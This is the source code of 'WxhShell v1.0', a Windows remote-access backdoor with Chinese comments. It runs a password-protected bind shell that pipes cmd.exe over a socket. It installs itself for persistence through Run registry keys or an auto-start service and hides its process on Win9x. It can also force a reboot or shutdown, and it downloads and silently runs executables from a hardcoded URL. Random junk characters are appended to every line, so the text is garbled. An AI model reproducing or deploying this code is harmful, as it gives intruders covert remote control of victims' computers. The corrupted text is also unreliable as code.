    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gT. sj d  
    if(Boot(SHUTDOWN)) b=C*W,Q_#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T=DbBy0-  
    else { [(i  
    closesocket(wsh); LBeF&sb6  
    ExitThread(0); bIDj[-CDG  
    } +fB5w?Rg  
    break; Oi.C(@^(  
    } FjHv   
  // 获取shell n` _{9R  
  case 's': { s[>,X#7 y  
    CmdShell(wsh); r8?gD&c}  
    closesocket(wsh); C}j"Qi`  
    ExitThread(0);  tU5zF.%  
    break; =ZznFVJ`={  
  } &&8x%Pml  
  // 退出 #P9~}JB3,  
  case 'x': { 9.M4o[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HVCe;eI  
    CloseIt(wsh); x;KOqfawv  
    break; J1U/.`Oy  
    } oSKXt}sh  
  // 离开 [85spub&}  
  case 'q': { 3*XNV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t>RY7C;PuS  
    closesocket(wsh); 3pROf#M  
    WSACleanup(); a.\:T,cP>  
    exit(1); ?zMHP#i  
    break; BwEN~2u6  
        } 2a)xTA#  
  } Lg+Ac5y}`  
  } gs[uD5oo<  
:S83vE81WK  
  // 提示信息 :pY/-Cgv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NA`SyKtg_  
} 7nTeP(M%  
  } NNR`!Pty  
)EuvRLo{S7  
  return; -Cpl?Io`r5  
} ,-c6dS   
2]jn '4  
// shell模块句柄 9&2O 9Nz6  
int CmdShell(SOCKET sock) !Pvf;rNI1T  
{ Zn+.;o)E<  
STARTUPINFO si; 4[r0G+  
ZeroMemory(&si,sizeof(si)); ~H_/zK6e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #Y`~(K47  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N)|yu1S  
PROCESS_INFORMATION ProcessInfo; J1|\Q:-7p  
char cmdline[]="cmd"; \ a<h/4#|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `2WFk8) F  
  return 0; H5B:;g@  
} ^ogt+6c  
a2O75 kWnm  
// 自身启动模式 X/!o\yyT  
int StartFromService(void) orpriO|qD  
{ {X+3;&@  
typedef struct %D34/=(X  
{ 6dt]`zv/  
  DWORD ExitStatus; l`{\"#4  
  DWORD PebBaseAddress; ]=I@1B;_m  
  DWORD AffinityMask; (O?.)jEW(.  
  DWORD BasePriority; 81F/G5  
  ULONG UniqueProcessId; T^t# c  
  ULONG InheritedFromUniqueProcessId; Lc,Pom  
}   PROCESS_BASIC_INFORMATION; \;3~a9q%  
B$ PP&/  
PROCNTQSIP NtQueryInformationProcess; o Q2Fjj  
e7Z32P0ls  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Xm}/0g&7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~O0 $Suv  
}Yzco52  
  HANDLE             hProcess; =E4LRKn  
  PROCESS_BASIC_INFORMATION pbi; 9'giU r  
SiRaFj4s"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u@UMP@"#  
  if(NULL == hInst ) return 0; !4RWYMV "  
vn!3l1\+J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Tod&&T'UW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \BTODZ:h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2B[X,rL.pX  
DDP/DD;n}r  
  if (!NtQueryInformationProcess) return 0; 4y?n [/M/  
:Zbg9`d*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OJuG~euy  
  if(!hProcess) return 0; <I\/n<*  
nbD*x|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mb TEp*H  
EF[@$j   
  CloseHandle(hProcess); ?%-DfCS  
/sx&=[ D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t7Iv?5]N  
if(hProcess==NULL) return 0; EzM ?Nft  
{0wIR_dGX  
HMODULE hMod; 2\MT;;ZTZ  
char procName[255]; qFCOUl  
unsigned long cbNeeded; %~H-)_d20  
Q:G4Z9Kt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -hGk?_Nqa/  
+NZ_D#u  
  CloseHandle(hProcess); &tLgG4pd  
TOB-aAO  
if(strstr(procName,"services")) return 1; // 以服务启动 yiXSYD  
z,[Hli*0  
  return 0; // 注册表启动 OUPUixz2Z  
} "Y =;.:qe  
S"bg9o  
// 主模块 X; \+<LE  
int StartWxhshell(LPSTR lpCmdLine) A@!qv#'  
{ Ju!]&G8  
  SOCKET wsl; *eTqVG.  
BOOL val=TRUE; *k(XW_>  
  int port=0; *SbMqASv4G  
  struct sockaddr_in door; ,GbR!j@6  
B[Ku\A6&  
  if(wscfg.ws_autoins) Install(); ,i?nWlh+  
17%,7P9pg  
port=atoi(lpCmdLine); *MhRW,=  
\R9(x]nZ%  
if(port<=0) port=wscfg.ws_port; `_Zg3_K.dS  
.LnGL]/  
  WSADATA data; w>s,"2&5J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YNyk1cE  
ky,(xT4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O_ muD\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O-0x8O^B  
  door.sin_family = AF_INET; z [}v{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~]|6T~+]83  
  door.sin_port = htons(port); lBLARz&c#  
#>("CAB02T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,hm\   
closesocket(wsl); kYP#SH/  
return 1; Fh&G;aEq  
} 2G & a{  
\_VA 50  
  if(listen(wsl,2) == INVALID_SOCKET) { 1APe=tJ  
closesocket(wsl); hn7# L  
return 1; U/66L+1  
} a{'vN93  
  Wxhshell(wsl); e }?db  
  WSACleanup(); +5g_KS  
v|_K/|  
return 0; Q",t3i4  
Y!aSs3c  
} o=:9y-nH  
'2A)}uR  
// 以NT服务方式启动 bI7Vwyz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kf\PioD8  
{ b"<liGh"n-  
DWORD   status = 0; xk9%F?)  
  DWORD   specificError = 0xfffffff; T#T*Zw"+  
nY[WRt w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wQ:)KjhHH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x xHY+(m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B {n,t}z  
  serviceStatus.dwWin32ExitCode     = 0; 9d0@wq.  
  serviceStatus.dwServiceSpecificExitCode = 0; V@.Ior}w  
  serviceStatus.dwCheckPoint       = 0; k>Is:P  
  serviceStatus.dwWaitHint       = 0; )J o: pkM  
^2:p|:Bz!l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d~])K#oJ  
  if (hServiceStatusHandle==0) return; Fk&c=V;SU  
W<h)HhyG  
status = GetLastError(); ]6k\)#%2  
  if (status!=NO_ERROR) YH}'s>xZz  
{ '&P%C" 5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @Z_x.Y6  
    serviceStatus.dwCheckPoint       = 0; aL\PGdgO  
    serviceStatus.dwWaitHint       = 0; :^lI`9'*R  
    serviceStatus.dwWin32ExitCode     = status;  C#.->\  
    serviceStatus.dwServiceSpecificExitCode = specificError; !NK1MU?T)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a K[&V't~  
    return; 7uqzm  
  } ql Ax  
\k7"=yx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Gm&Za,4%4  
  serviceStatus.dwCheckPoint       = 0; l ~"^7H?4e  
  serviceStatus.dwWaitHint       = 0; olB.*#gA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BiLY(1,  
} @,j*wnR  
/obfw^  
// 处理NT服务事件,比如:启动、停止 G6Axs1a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) UkwP  
{ 6xmZXp d!  
switch(fdwControl) *uRBzO}  
{ ](]i 'fE>  
case SERVICE_CONTROL_STOP: R{`(c/%8  
  serviceStatus.dwWin32ExitCode = 0; =osk+uzzG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c% -Tem'#  
  serviceStatus.dwCheckPoint   = 0; 'T;P;:!\  
  serviceStatus.dwWaitHint     = 0; VOsR An/N  
  { >0y'Rgfe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h]&GLb&<?  
  } F@7jx:tI  
  return; IVnHf_PzF  
case SERVICE_CONTROL_PAUSE: IZ-1c1   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Jl8H|<g~/  
  break; dh\'<|\K  
case SERVICE_CONTROL_CONTINUE: 8P\G }  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m]0;"jeL  
  break; PcMD])Z{G  
case SERVICE_CONTROL_INTERROGATE: ;W )Y OT  
  break; #powub  
}; r EE1sy/#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,5p(T_V/  
}  :A_@,Q  
./Zk`-OBT  
// 标准应用程序主函数 l~q\3UKlt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T@B/xAq5!  
{ ,.8KN<A2]'  
H [\o RId  
// 获取操作系统版本 CI0C1/:@  
OsIsNt=GetOsVer(); 3AtGy'NTp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N7zft  
hp X9[3  
  // 从命令行安装 X=&ET)8-Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); ',@3>T**  
FIhk@TKa  
  // 下载执行文件 7hcYD!DS  
if(wscfg.ws_downexe) { *I.f1lz%*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oxA<VWUNT  
  WinExec(wscfg.ws_filenam,SW_HIDE); CAWNDl4  
} RWZSQ~  
1N-\j0au  
if(!OsIsNt) { ]y '>=a|T  
// 如果时win9x,隐藏进程并且设置为注册表启动 &i6mW8l  
HideProc(); 83\pZ1>)_  
StartWxhshell(lpCmdLine); '[:D$q;  
} UKvWJnz  
else -<!NXm|kvz  
  if(StartFromService()) _C?hHWSf"  
  // 以服务方式启动 hx%v+/  
  StartServiceCtrlDispatcher(DispatchTable); Hg izW  
else osAd1<EIC  
  // 普通方式启动 PiIpnoM  
  StartWxhshell(lpCmdLine); 4F'LBS]=0  
AjMh,@  
return 0; E,U+o $  
} zP8lN(LA  
O KR "4n:  
pJ"qu,w  
NP3y+s  
=========================================== IY\5@PVZ  
"$^ ~!1~  
x*U)Y  
[!#L6&:a8  
)_S(UVI5  
k"zv~`i'  
" c9u`!'g`i  
u?(d gJ  
#include <stdio.h> MaQqs=  
#include <string.h> @9RM9zK.q  
#include <windows.h> Ai?*s%8v  
#include <winsock2.h> 051 E6-  
#include <winsvc.h> f+)L#>Gl?  
#include <urlmon.h> ,i`,Oy(BI  
&Q#66ev  
#pragma comment (lib, "Ws2_32.lib") D'PI1 0t  
#pragma comment (lib, "urlmon.lib") g@!V3V  
=K[yT:  
#define MAX_USER   100 // 最大客户端连接数 eJX9_6m-  
#define BUF_SOCK   200 // sock buffer >jLY"  
#define KEY_BUFF   255 // 输入 buffer FGmb<z 2p  
!PQ<04jA!  
#define REBOOT     0   // 重启 ,<P vovg_  
#define SHUTDOWN   1   // 关机 )}Kf=  
z,p~z*4  
#define DEF_PORT   5000 // 监听端口 4!yzsPJL  
AH7}/Rc  
#define REG_LEN     16   // 注册表键长度 J<h $ wM  
#define SVC_LEN     80   // NT服务名长度 V&2l5v  
v^*K:#<Q!  
// 从dll定义API .[OUI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U$A]8NZ$S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0IBSRFt$g&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d^ 8ZeC#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O m2d .7S  
x g  
// wxhshell配置信息 dcN22A3  
struct WSCFG { 0GCEqQy8  
  int ws_port;         // 监听端口 Aw.qK9I  
  char ws_passstr[REG_LEN]; // 口令 `1fY)d^ZS  
  int ws_autoins;       // 安装标记, 1=yes 0=no GGs}i1m  
  char ws_regname[REG_LEN]; // 注册表键名 \Uq(Zga4)  
  char ws_svcname[REG_LEN]; // 服务名 i<Zc"v;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lX4 x*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7;wd(8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t-bB>q#3>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )Y{L&A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;85>xHK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3;]H1 1  
Hf2_0wA3  
}; BUXpC xQ  
>_T-u<E  
// default Wxhshell configuration LFRlzz;  
struct WSCFG wscfg={DEF_PORT, -gX1-,dE  
    "xuhuanlingzhe", )zdQ1&@  
    1, w+u3*/Zf  
    "Wxhshell", ,R* ]>'  
    "Wxhshell", j{+.tIzpq[  
            "WxhShell Service", 1^JS Dd  
    "Wrsky Windows CmdShell Service", bP&]!jZ  
    "Please Input Your Password: ", ~U&AI1t+J  
  1, 5K8^WK  
  "http://www.wrsky.com/wxhshell.exe", ar+9\  
  "Wxhshell.exe" f?X)k,m  
    }; H8}oIA"b  
s R/F"  
// 消息定义模块 N2<!}Eyu  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +Q"4Migbe@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5MJS ~(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7Kxp=-k  
char *msg_ws_ext="\n\rExit."; {8bSB.?R  
char *msg_ws_end="\n\rQuit."; U0P~  
char *msg_ws_boot="\n\rReboot..."; Y\g3h M  
char *msg_ws_poff="\n\rShutdown..."; TJXT-\Vk  
char *msg_ws_down="\n\rSave to "; 07{)?1cod4  
5vnrA'BhBU  
char *msg_ws_err="\n\rErr!"; 0*{%=M  
char *msg_ws_ok="\n\rOK!"; 5 #E`=C%  
O k=hT|}Y  
char ExeFile[MAX_PATH]; lA8`l>I  
int nUser = 0; Vp@?^imL  
HANDLE handles[MAX_USER]; -r]W  
int OsIsNt; J)p l|I  
AFE~ v\Gz  
SERVICE_STATUS       serviceStatus; ;vjOUn[E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ' %o#q6O  
)MTOU47U  
// 函数声明 WOL:IZX%  
int Install(void); rf{rpe$  
int Uninstall(void); Se =`N  
int DownloadFile(char *sURL, SOCKET wsh); Zp=U W*g^  
int Boot(int flag); /aZ`[m2  
void HideProc(void); n,WqyNt*  
int GetOsVer(void); fVpMx4&F   
int Wxhshell(SOCKET wsl); 4~Q/"hMSkO  
void TalkWithClient(void *cs); amY!qg0P*  
int CmdShell(SOCKET sock); &6nWzF  
int StartFromService(void); [Y| t]^M  
int StartWxhshell(LPSTR lpCmdLine); q^<?]8  
1#+S+g@#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Wg]Qlw`\|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ji0@P'^;  
{F.[&/A  
// 数据结构和表定义 E+;7>ja  
SERVICE_TABLE_ENTRY DispatchTable[] = >tW#/\x{  
{ P( 8OQL:  
{wscfg.ws_svcname, NTServiceMain}, gc$l^`+M  
{NULL, NULL} Q hO!Ma]  
}; ]~3V}z,T*  
|Z +=  
// 自我安装 %._.~V  
int Install(void) RPRBmb940  
{ XlR@pr6tw  
  char svExeFile[MAX_PATH]; oYH-wQj  
  HKEY key; [ v*ju!  
  strcpy(svExeFile,ExeFile); s!$7(Q86R  
20Wg=p9L  
// 如果是win9x系统,修改注册表设为自启动 ?.BC#S)q1  
if(!OsIsNt) { xU`p|(SS-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :"/d|i`T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _.8S&  
  RegCloseKey(key); +52{-a,>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~b8]H|<'Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); * 0=j?~&  
  RegCloseKey(key); }*]-jWt1J\  
  return 0; tY4;F\e2|A  
    } KPUV@eQ,  
  } 4'=y:v2  
} EXqE~afm2  
else { f ) L  
l,5+@i`5i  
// 如果是NT以上系统,安装为系统服务 'TB2:W3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X=&KayD  
if (schSCManager!=0) * r7rZFS  
{ e+fN6v5pU  
  SC_HANDLE schService = CreateService `e}B2;$A3  
  ( CRy|kkT  
  schSCManager, ey$&;1x#5  
  wscfg.ws_svcname, uoh7Sz5!^  
  wscfg.ws_svcdisp, tc_3sC7jN  
  SERVICE_ALL_ACCESS, nAlQ7 '  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %d9uTm;  
  SERVICE_AUTO_START, R.<g3"Lm>  
  SERVICE_ERROR_NORMAL, b@hqz!)l`  
  svExeFile, mQ"-,mMI  
  NULL, 7s^'d,P  
  NULL, ;Q`lNFa  
  NULL, sK?twg;D*|  
  NULL, 7WzxA=*#  
  NULL I{=Qtnlb  
  ); FGBbO\< /  
  if (schService!=0) g *+>H1}  
  {  O*P.]d  
  CloseServiceHandle(schService); :?1Dko^  
  CloseServiceHandle(schSCManager); E|shs=I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M/`lM$98:  
  strcat(svExeFile,wscfg.ws_svcname); #&e-|81H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vKAN@HSYr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IO<6  
  RegCloseKey(key); M x" \5i  
  return 0; ) Hr`M B  
    } mgU<htMr1  
  } LCV(,lu  
  CloseServiceHandle(schSCManager); +^F Zq$NP  
}  6(R<{{  
} t\O16O7S  
:e+jU5;]3  
return 1; R[+<^s}p/  
} -jm Y)(\  
+R75v)  
// 自我卸载 !C.4<?*|  
int Uninstall(void) h 'nY3GrU  
{ a(ZcmYzXU  
  HKEY key; 6Q5^>\Y  
lq7E 4r  
if(!OsIsNt) { vtJJ#8a]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { % |L=l{g  
  RegDeleteValue(key,wscfg.ws_regname); w_VP J  
  RegCloseKey(key); Qn2&nD%zi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;8 lfOMf  
  RegDeleteValue(key,wscfg.ws_regname); +&H4m=D-#a  
  RegCloseKey(key); ?:9"X$XR  
  return 0; +jgSV.N  
  } #,'kXj  
} )D%~` ,#pQ  
} [dVL&k<P  
else { )fAUum  
'dc#F3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %J-GKpo/S  
if (schSCManager!=0) -$Ih@2"6  
{ fI|$K )K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^xk'Z  
  if (schService!=0) "d}Gp9+$VY  
  { a?oI>8*  
  if(DeleteService(schService)!=0) { 9;If&uM  
  CloseServiceHandle(schService); 5#z1bu  
  CloseServiceHandle(schSCManager); RPbZ(.  
  return 0; bvOq5Q6  
  } #B w0,\  
  CloseServiceHandle(schService); tX~w{|k  
  } 0PCGDLk8  
  CloseServiceHandle(schSCManager); -$g#I  
} ?gXp*>Kg[  
} PQE =D0  
JlJ a #  
return 1; #lO Mm9  
} iN.n8MN=I  
8RHUeRX  
// 从指定url下载文件 )O6>*wq  
int DownloadFile(char *sURL, SOCKET wsh) MpOc  
{ 5~S5F3  
  HRESULT hr; u$`a7Lp,n  
char seps[]= "/"; Rk8P ax/JK  
char *token; 1AFA=t:]p  
char *file; qcRs$-J  
char myURL[MAX_PATH]; .X;K%J2  
char myFILE[MAX_PATH]; 5Yndc)Z  
 WfRXP^a  
strcpy(myURL,sURL); [<TrS/,)>  
  token=strtok(myURL,seps); JsS-n'gF'  
  while(token!=NULL) R^e'}+Z  
  { BL4-7  
    file=token; OcO3v'&  
  token=strtok(NULL,seps); 7PF%76TO  
  } 5E <kwi  
o,wUc"CE  
GetCurrentDirectory(MAX_PATH,myFILE); KG{St{uJ  
strcat(myFILE, "\\"); $`'/+x"%  
strcat(myFILE, file); EBmt9S  
  send(wsh,myFILE,strlen(myFILE),0); yF/jFn  
send(wsh,"...",3,0); iam1V)V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wS3'?PRX  
  if(hr==S_OK) {Hk}Kow  
return 0; #Rr%:\*  
else "^iYLQOC  
return 1; \.}c9*)  
*gz{.)W  
} xe$_aBU  
a-J.B.A$Z/  
// 系统电源模块 >`D:-huNeE  
int Boot(int flag) d<x7{?~.DK  
{ {(?4!rh  
  HANDLE hToken; e@YK@?^#N  
  TOKEN_PRIVILEGES tkp; (C)p9-,  
An/|+r\  
  if(OsIsNt) { j*m%*_kO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H" 7u7l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9-m=*|p  
    tkp.PrivilegeCount = 1; pI<f) r  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h!9ei6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3HK\BS  
if(flag==REBOOT) { ] @fk] ]R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *DhiN  
  return 0; J<lO= +mg  
} {BU;$  
else { ~flV`wy$$1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bi;1s'Y<D  
  return 0; "5$B>S(Q  
} Ny)X+2Ae  
  } lqpp)Cq  
  else { seeB S/%  
if(flag==REBOOT) { IMONgFBS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lU8Hd|@-  
  return 0; 7"D.L-H  
} -d:Jta!}{  
else { Pj% |\kbNs  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %ULr8)R;  
  return 0; ^5 Tqy(M  
} e\75:oQ  
} E8&TO~"a]e  
z*)T %p  
return 1; 0_t!T'jr7  
} L_iFt!  
NQ2E  
// win9x进程隐藏模块 ,$&&-p I]  
void HideProc(void) -A!%*9Z  
{ VVOd]2{  
jEJT-*I1+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5l*&>C[(i  
  if ( hKernel != NULL ) k|d+#u[Mj@  
  { Owk|@6!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N ZSSg2TX#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >[*qf9$  
    FreeLibrary(hKernel); _:27]K:  
  } !%0 * z  
P7~>mm+  
return; b;UJ 88  
} AYx{U?0p  
VP]%Hni]  
// 获取操作系统版本 HyWCMK6b  
int GetOsVer(void) A^<iL  
{ HHsmLo c4  
  OSVERSIONINFO winfo; 4{`{WI{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s->^=dy  
  GetVersionEx(&winfo); [cp+i^f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L;I]OC^J  
  return 1; JaGtsi9%.  
  else vRO _Q?  
  return 0; XOS[No~  
} 'b{]:Y  
K(Bf2Mfq  
// 客户端句柄模块 uW36;3[f#1  
int Wxhshell(SOCKET wsl) /t"3!Z?BOv  
{ /I0%Z+`=  
  SOCKET wsh; dlTt _.  
  struct sockaddr_in client; omBoo5e  
  DWORD myID; Q$Q([Au  
`+Q%oj#FF  
  while(nUser<MAX_USER) ~M4;  
{ 9zy!Fq  
  int nSize=sizeof(client); YcpoL@ab  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jtc]>]6i  
  if(wsh==INVALID_SOCKET) return 1; I9hK} D  
pcWPH.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H~1 jY4E  
if(handles[nUser]==0) wDe& 1(T^  
  closesocket(wsh); ~FG]wNgS  
else ut7zVp<"  
  nUser++; ^3L0w}#  
  } [E juUElr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wi6 ~}~%  
@r/n F5  
  return 0; ]-/VHh  
} @i IRmQ  
P me^l%M  
// 关闭 socket Y glmX"fLf  
void CloseIt(SOCKET wsh) :^B1~p(?sK  
{ 9m~p0ILh  
closesocket(wsh); `&ckZiq  
nUser--; n8ZZ#}Nhg  
ExitThread(0); 1NA.nw.  
} %aVq+kC h  
i6Emhji  
// 客户端请求句柄 n[Y~]  
void TalkWithClient(void *cs) .jjG(L  
{ ^yN&ZI3P&  
[%1CRk  
  SOCKET wsh=(SOCKET)cs; JO6)-U$7UG  
  char pwd[SVC_LEN]; +*/Zu`kzX  
  char cmd[KEY_BUFF]; #fn)k1  
char chr[1]; @O^6&\s>  
int i,j; R|87%&6']  
a'yK~;+_9  
  while (nUser < MAX_USER) { }l} Bo.C  
3K0A)W/YEs  
if(wscfg.ws_passstr) { Ig0VW)@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y,,dCca  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '$]97b7G  
  //ZeroMemory(pwd,KEY_BUFF); U$D65B4=  
      i=0; ]:k/Y$O2  
  while(i<SVC_LEN) { #rQ2gx4  
~t~k2^)|"  
  // 设置超时 x}I+Iggi  
  fd_set FdRead; }?_?V&K|  
  struct timeval TimeOut; ,~@X{7U  
  FD_ZERO(&FdRead); A>;bHf@  
  FD_SET(wsh,&FdRead); !6O(-S2A  
  TimeOut.tv_sec=8; cO+qs[ BQ  
  TimeOut.tv_usec=0; NgGp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |tMWCA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Vl=l?A8  
_P 3G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i0kak`x0  
  pwd=chr[0]; ;LPfXpR  
  if(chr[0]==0xd || chr[0]==0xa) { &4x}ppX  
  pwd=0; *:LK8U  
  break; IT7wT+  
  } :tB1D@Cb6  
  i++; 6"5A%{ J  
    } { VfXsI  
bL+_j}{:N  
  // 如果是非法用户,关闭 socket U} e!Wjrc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /h H  
} FQ7T'G![  
uLL]A>vR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Fg5kX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~"&|W'he[  
WwBOM~/`2  
while(1) { *K6g\f]b#  
Vvn2 Ep  
  ZeroMemory(cmd,KEY_BUFF); G )trG9 .a  
R'bTN|Cq  
      // 自动支持客户端 telnet标准   rq/yD,I,  
  j=0; fF$<7O)+]  
  while(j<KEY_BUFF) { 5j<mbt}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^& tZ  
  cmd[j]=chr[0]; XSe=sHEI  
  if(chr[0]==0xa || chr[0]==0xd) { &0OG*}gi  
  cmd[j]=0; 'KS,'%  
  break; J!v3i*j\  
  } "3)C'WlEy/  
  j++; 6S'yZQ |b  
    } |mdVdD~go  
M=.n7RY-  
  // 下载文件 1#V_Z^OL  
  if(strstr(cmd,"http://")) { !*F1q|R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L O_k@3  
  if(DownloadFile(cmd,wsh)) =)H.c uc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5,Jp[bw{H{  
